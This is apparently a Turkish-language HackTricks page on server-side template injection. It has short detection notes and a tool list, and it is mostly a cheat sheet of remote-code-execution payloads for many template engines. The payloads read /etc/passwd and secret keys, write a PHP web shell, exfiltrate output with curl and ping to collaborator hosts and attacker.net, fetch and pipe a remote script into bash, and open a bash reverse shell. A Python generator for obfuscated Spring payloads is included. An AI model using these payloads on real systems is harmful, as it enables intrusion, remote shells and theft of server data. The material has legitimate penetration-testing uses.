hacktricks/pentesting-web/ssti-server-side-template-injection/README.md

46 KiB
Raw Blame History

SSTI (Sunucu Tarafı Şablon Enjeksiyonu)

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

RootedCON İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'nın en önemlilerinden biridir. Teknik bilgiyi teşvik etme misyonu ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.

{% embed url="https://www.rootedcon.com/" %}

SSTI (Sunucu Tarafı Şablon Enjeksiyonu) Nedir

Sunucu tarafı şablon enjeksiyonu, bir saldırganın sunucuda yürütülen bir şablona kötü amaçlı kod enjekte edebildiği bir güvenlik açığıdır. Bu zayıflık, Jinja dahil olmak üzere çeşitli teknolojilerde bulunabilir.

Jinja, web uygulamalarında kullanılan popüler bir şablon motorudur. Jinja kullanarak zayıf bir kod parçasını gösteren bir örnek düşünelim:

output = template.render(name=request.args.get('name'))

Bu zafiyetli kodda, kullanıcının isteğinden gelen name parametresi doğrudan render fonksiyonu kullanılarak şablona iletiliyor. Bu, bir saldırganın name parametresine kötü amaçlı kod enjekte etmesine olanak tanıyabilir ve bu da sunucu tarafı şablon enjeksiyonuna yol açabilir.

Örneğin, bir saldırgan şu şekilde bir yükleme ile istek oluşturabilir:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Payload {{kötü-şeyler-burada}} name parametresine enjekte edilir. Bu payload, saldırganın yetkisiz kodları yürütmesine veya şablon motorunu manipüle etmesine olanak tanıyan Jinja şablon direktiflerini içerebilir, potansiyel olarak sunucu üzerinde kontrol sağlayabilir.

Sunucu tarafı şablon enjeksiyonu zafiyetlerini önlemek için, geliştiricilerin kullanıcı girdilerinin şablonlara eklenmeden önce uygun şekilde temizlendiğinden ve doğrulandığından emin olmaları gerekir. Giriş doğrulaması uygulamak ve bağlam bilincine sahip kaçış tekniklerini kullanmak, bu zafiyetin riskini azaltmaya yardımcı olabilir.

Tespit

Sunucu Tarafı Şablon Enjeksiyonu (SSTI) tespiti için başlangıçta, şablonu fuzzlama basit bir yaklaşımdır. Bu, şablona özel karakterlerin (${{<%[%'"}}%\) bir dizisini enjekte etmeyi ve sunucunun düzenli verilere karşı bu özel yük ile yanıtındaki farkları analiz etmeyi içerir. Zafiyet göstergeleri şunları içerir:

  • Zafiyeti ve potansiyel olarak şablon motorunu ortaya çıkaran atılan hatalar.
  • Yansıma içinde yükün yokluğu veya bazı kısımlarının eksik olması, sunucunun bunu düzenli verilerden farklı işlediğini ima eder.
  • Düz Metin Bağlamı: Sunucunun şablon ifadelerini değerlendirip değerlendirmediğini XSS'ten ayırt etmek için kontrol ederek teyit edin (örneğin, {{7*7}}, ${7*7}).
  • Kod Bağlamı: Sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu görmek için giriş parametrelerini değiştirerek zafiyeti doğrulayın. Örneğin, http://zafiyetli-web sitesi.com/?greeting=data.username içindeki greeting'i değiştirerek sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu görmek için greeting=data.username}}hello'yu döndürün.

Tanımlama Aşaması

Şablon motorunu tanımlamak, hata mesajlarını analiz etmeyi veya çeşitli dil özgü yükleri manuel olarak test etmeyi içerir. Hatalara neden olan yaygın yükler arasında ${7/0}, {{7/0}} ve <%= 7/0 %> bulunur. Sunucunun matematiksel işlemlere yanıtını gözlemlemek, belirli şablon motorunu belirlemeye yardımcı olur.

Araçlar

TInjA

Yenilikçi poliglotlar kullanan verimli bir SSTI + CSTI tarayıcısı.

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Şablon Enjeksiyon Tablosu

en etkili şablon enjeksiyon poliglotlarını ve 44 en önemli şablon motorunun beklenen yanıtlarını içeren etkileşimli bir tablo.

Sızıntılar

Genel

Bu wordlist içinde aşağıda belirtilen motorların ortamlarında tanımlanan değişkenleri bulabilirsiniz:

Java

Java - Temel enjeksiyon

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Sistemin çevresel değişkenlerini alın

${T(java.lang.System).getenv()}

Java - /etc/passwd Dosyasını Almak

import java.io.*;

public class Main {
    public static void main(String[] args) throws Exception {
        String command = "cat /etc/passwd";
        Process process = Runtime.getRuntime().exec(command);
        BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        String line;
        while ((line = reader.readLine()) != null) {
            System.out.println(line);
        }
        reader.close();
    }
}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Payloadlarınızı https://try.freemarker.apache.org adresinde deneyebilirsiniz.

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ Sadece 2.3.30 sürümünden önceki Freemarker sürümlerinde çalışır.

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Daha fazla bilgi

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Daha fazla bilgi

Thymeleaf

Thymeleaf'te SSTI zafiyetleri için yaygın bir test ifadesi ${7*7}'dir, bu ifade bu şablon motoruna da uygulanır. Potansiyel uzaktan kod yürütme için aşağıdaki gibi ifadeler kullanılabilir:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf, bu ifadelerin belirli öznitelikler içine yerleştirilmesini gerektirir. Ancak, ifade içine yerleştirme diğer şablon konumları için desteklenir, [[...]] veya [(...)] gibi sözdizimi kullanılarak. Bu nedenle, basit bir SSTI test yükü şöyle görünebilir [[${7*7}]].

Ancak, bu yükün genellikle çalışma olasılığı düşüktür. Thymeleaf'in varsayılan yapılandırması dinamik şablon oluşturmayı desteklemez; şablonlar önceden tanımlanmış olmalıdır. Geliştiriciler, genellikle nadir olan, dize tabanlı şablonlar oluşturmak için kendi TemplateResolver'larını uygulamalıdır.

Thymeleaf ayrıca ifade ön işleme sunar, burada çift alt çizgiler içindeki (__...__) ifadeler ön işlenir. Bu özellik, Thymeleaf belgelerinde gösterildiği gibi ifadelerin oluşturulmasında kullanılabilir:

#{selection.__${sel.code}__}

Thymeleaf'deki Zafiyet Örneği

Aşağıdaki kod parçacığını düşünün, bu zafiyete açık olabilir:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Bu, şablon motorunun bu girdileri yanlış işlediğini gösterir, bu da şu tür URL'lere erişen uzaktan kod yürütme ile sonuçlanabilir:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Daha fazla bilgi

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Filtreleri Atlatma

Birden fazla değişken ifadesi kullanılabilir, ${...} çalışmazsa #{...}, *{...}, @{...} veya ~{...} deneyin.

  • /etc/passwd dosyasını okuyun
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Özel Komut Dosyası için yük oluşturma
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Daha Fazla Bilgi

Spring Görünüm Manipülasyonu (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebble'in eski sürümü ( < version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Yeni sürüm Pebble:

{% raw %}
{% set cmd = 'id' %}
{% endraw %}




{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

Jinjava, Java tabanlı bir template engine'dir. Jinjava, Java dilinde yazılmış ve Java uygulamalarında kullanılmak üzere tasarlanmıştır. Jinjava, server-side template injection (SSTI) saldırılarına karşı savunmasız olabilir. Jinjava kullanılarak oluşturulan template'lerin güvenliği dikkatlice kontrol edilmelidir.

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava, Hubspot tarafından geliştirilen açık kaynaklı bir projedir, https://github.com/HubSpot/jinjava/'da bulunabilir.

Jinjava - Komut yürütme

https://github.com/HubSpot/jinjava/pull/230 ile düzeltildi.

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Daha fazla bilgi

Hubspot - HuBL (Java)

  • {% %} ifade sınırlayıcıları
  • {{ }} ifade sınırlayıcıları
  • {# #} yorum sınırlayıcıları
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

"com.hubspot.content.hubl.context.TemplateContextRequest" için arama yapın ve Github'daki Jinjava projesini keşfedin.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Daha fazla bilgi

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL), JavaEE'de sunum katmanı (web sayfaları gibi) ile uygulama mantığı (yönetilen bean'ler gibi) arasındaki etkileşimi kolaylaştıran temel bir özelliktir. Bu iletişimi optimize etmek için çeşitli JavaEE teknolojilerinde yaygın olarak kullanılır. EL'i kullanan temel JavaEE teknolojileri şunlardır:

  • JavaServer Faces (JSF): JSF sayfalarındaki bileşenleri karşılık gelen arka uç veri ve işlemlere bağlamak için EL kullanır.
  • JavaServer Pages (JSP): JSP'de EL, JSP sayfaları içinde veriye erişmek ve manipüle etmek için kullanılır, sayfa öğelerini uygulama verilerine bağlamayı kolaylaştırır.
  • Contexts and Dependency Injection for Java EE (CDI): EL, CDI ile entegre olarak web katmanı ile yönetilen bean'ler arasında sorunsuz etkileşime izin verir, daha tutarlı bir uygulama yapısı sağlar.

EL yorumlayıcılarının istismarını öğrenmek için aşağıdaki sayfayı kontrol edin:

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

Aşağıdaki Güvenlik Yöneticisi atlatmaları bu makaleden alınmıştır.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

RootedCON İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'nın en önemlilerinden biridir. Teknik bilgiyi teşvik etme misyonu ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Daha fazla bilgi

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Şablon formatı

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Daha fazla bilgi

Plates (PHP)

Plates, Twig'den ilham alan PHP'ye özgü bir şablon motorudur. Ancak, Twig'den farklı olarak, Plates şablonlarda yerel PHP kodunu kullanır ve bu da PHP geliştiricileri için sezgisel hale getirir.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Sayfa şablonu:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Düzen şablonu:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Daha fazla bilgi

PHPlib ve HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB, PHPlib'in Pear'a taşınmış halidir.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php dosyası, bir web uygulamasında sunucu tarafı şablon enjeksiyonu (SSTI) zafiyetini içerebilir. Bu zafiyet, saldırganın sunucuda kod çalıştırmasına olanak tanır ve hassas bilgilere erişmesine yol açabilir. Saldırgan, bu zafiyeti kullanarak uygulamanın davranışını manipüle edebilir ve hedef sistemi ele geçirebilir. Bu tür zafiyetler genellikle şablon motorlarının yanlış yapılandırılmasından kaynaklanır ve dikkatlice incelenmelidir.

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Daha fazla bilgi

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Daha fazla bilgi

patTemplate (PHP)

patTemplate PHP için derlenmeyen bir şablon motorudur ve belgeyi farklı parçalara bölmek için XML etiketlerini kullanır.

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Daha fazla bilgi

Handlebars (NodeJS)

Yol Geçişi (daha fazla bilgi için buraya bakın).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Hata
  • ${7*7} = ${7*7}
  • Hiçbir şey
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Daha fazla bilgi

JsRender (NodeJS)

Şablon ıklama
Değerlendir ve çıktıyı oluştur
Değerlendir ve HTML kodu ile çıktı oluştur
Yorum
ve Kodu izin ver (varsayılan olarak devre dışı)
  • = 49

İstemci Tarafı

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Sunucu Tarafı

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Daha fazla bilgi

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Örnek sunucu tarafı render

var pugjs = require('pug');
home = pugjs.render(injected_page)

Daha fazla bilgi

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Çıktı yok
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Hata
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Daha fazla bilgi

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Hata
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Daha fazla bilgi

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Daha fazla bilgi

Python

Python'da kum havuzlarını atlayarak keyfi komut yürütme hileleri hakkında bilgi edinmek için aşağıdaki sayfaya göz atın:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}





{{os.system('whoami')}}
{{os.system('whoami')}}

Daha fazla bilgi

Jinja2 (Python)

Resmi web sitesi

Jinja2, Python için tam özellikli bir şablon motorudur. Tam unicode desteği, isteğe bağlı entegre edilmiş kum sandığı yürütme ortamı, yaygın olarak kullanılan ve BSD lisanslıdır.

  • {{7*7}} = Hata
  • ${7*7} = ${7*7}
  • {{foobar}} Hiçbir şey
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}





{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Şablon formatı

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


builtins'a bağlı olmayan RCE:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
